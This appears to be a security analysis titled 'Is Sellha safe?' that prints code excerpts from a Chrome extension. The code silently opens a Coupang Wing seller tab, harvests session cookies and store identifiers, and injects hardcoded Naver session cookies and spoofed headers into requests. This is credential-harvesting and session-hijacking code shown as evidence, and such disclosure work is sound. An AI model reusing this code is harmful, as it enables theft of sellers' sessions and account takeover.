Is Sellha safe?

var rule = {
  removeRuleIds: [200, 300],
  addRules: [{
    id: 200,
    priority: 1,
    action: {
      type: "modifyHeaders",
      requestHeaders: [
        /* Accept, Accept-Language, Sec-Fetch-* ... */
        { header: "Referer", operation: "set", value: a },
        { header: "Cookie",  operation: "set",
          value: i.cookies[random(i.cookies.length)] }   // one of ~31 hardcoded Naver sessions
      ]
    },
    condition: { urlFilter: t, resourceTypes: ["xmlhttprequest"] }
  }]
};
chrome.declarativeNetRequest.updateDynamicRules(rule, function () {
  fetch(t, { method: "GET" }).then(r => r.text());
});

case 188:
  if (!e || "getCoupangWingCookieStoreInfo" !== e.message) {
    t.next = 203;
    break
  }
  return t.prev = 189, t.next = 192, chrome.tabs.create({
    url: "https://wing.coupang.com/",
    active: !1
  });
case 192:
  return g = t.sent, t.next = 195, Object(n.sleep)(4e3);
case 195:
  chrome.tabs.sendMessage(g.id, {
    message: e.message
  }, (function(e) {
    var t;
    "success" === e.status ? chrome.cookies.getAll({
      domain: ".coupang.com"
    }, (function(n) {
      t = Object(i.convertCookiesToString)(n), a(m(m({}, e), {}, {
        cookie: t
      }))
    })) : a(e), chrome.tabs.remove(g.id)
  })), t.next = 201;
  break;
case 198:
  t.prev = 198, t.t0 = t.catch(189), a({
    status: "failed"
  });
case 201:
  t.next = 368;
  break;

convertCookiesToString: function(e) {
  for (var t = "", a = 0; a < e.length; a++) "msp_sid" !== e[a].name && "bm_sz" !== e[a].name && "wing-locale" !== e[a].name && "sc_uid" !== e[a].name && "ak_bmsc" !== e[a].name && "sc_vid" !== e[a].name && "JSESSIONID" !== e[a].name && "sxSessionId" !== e[a].name && "OAuth_Token_Request_State" !== e[a].name && "PCID" !== e[a].name && "sc_lid" !== e[a].name && "_abck" !== e[a].name && "KC_REDIRECT" !== e[a].name && "x-coupang-accept-language" !== e[a].name && "_fbp" !== e[a].name && "_ga_MM7Y29P0HZ" !== e[a].name && "gd1" !== e[a].name && "AWSALB" !== e[a].name && "AWSALBCORS" !== e[a].name && "AWSALBTG" !== e[a].name && "AWSALBTGCORS" !== e[a].name && "aid" !== e[a].name && "AWSALB" !== e[a].name && "cmgbd-sid" !== e[a].name && "cmgrpt_sid" !== e[a].name && "locale" !== e[a].name || (t += "".concat(e[a].name, "=").concat(e[a].value, ";"));
  return t
}

var f = function() {
  var t = c(n().mark((function t(e) {
    var r, o, a, u;
    return n().wrap((function(t) {
      for (;;) switch (t.prev = t.next) {
        case 0:
          return t.prev = 0, r = document.querySelector("#wing-top-header-user-action-layer > div > div.my-user-menu-top > div.vendor-id-wrapper span").innerHTML.replace("업체코드 ", ""), o = document.querySelector("#wing-top-header-user-action-layer > div > div.my-user-menu-top > div.vendor-name-wrapper span").innerHTML, a = document.cookie, u = {
            storeId: r,
            storeName: o,
            cookie: a
          }, t.abrupt("return", i(i({}, u), {}, {
            status: "success"
          }));
        case 8:
          return t.prev = 8, t.t0 = t.catch(0), console.log(t.t0), t.abrupt("return", {
            status: "failed"
          });
        case 12:
        case "end":
          return t.stop()
      }
    }), t, null, [
      [0, 8]
    ])
  })));
  return function(e) {
    return t.apply(this, arguments)
  }
}();
chrome.runtime.onMessage.addListener((function(t, e, r) {
  return function() {
    var e = c(n().mark((function e() {
      var o, i;
      return n().wrap((function(e) {
        for (;;) switch (e.prev = e.next) {
          case 0:
            if (console.log("reqeust: ", t), o = t.message, console.log("message: ", o), "getCoupangWingCookieStoreInfo" !== o && "getAdCoupangWingCookieStoreInfo" !== o) {
              e.next = 10;
              break
            }
            return e.next = 6, f();
          case 6:
            i = e.sent, r(i), e.next = 11;
            break;
          case 10:
            r({
              status: "failed"
            });
          case 11:
          case "end":
            return e.stop()
        }
      }), e)
    })));
    return function() {
      return e.apply(this, arguments)
    }
  }()(), !0
}))

var rule = {
  removeRuleIds: [200, 300],
  addRules: [{
    id: 200, priority: 1,
    action: { type: "modifyHeaders", requestHeaders: [
      { header: "Accept-Language", operation: "set", value: "ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7" },
      { header: "Sec-Ch-Ua-Mobile", operation: "set", value: "?0" },
      { header: "Sec-Fetch-Dest", operation: "set", value: "empty" },
      { header: "Sec-Fetch-Mode", operation: "set", value: "cors" },
      { header: "Sec-Fetch-Site", operation: "set", value: "same-origin" },
      { header: "Referer", operation: "set", value: a }   // caller-supplied Naver URL
    ] },
    condition: { urlFilter: t, resourceTypes: ["xmlhttprequest"] }
  }]
};
chrome.declarativeNetRequest.updateDynamicRules(rule, function () {
  fetch(t, { method: "GET" });
});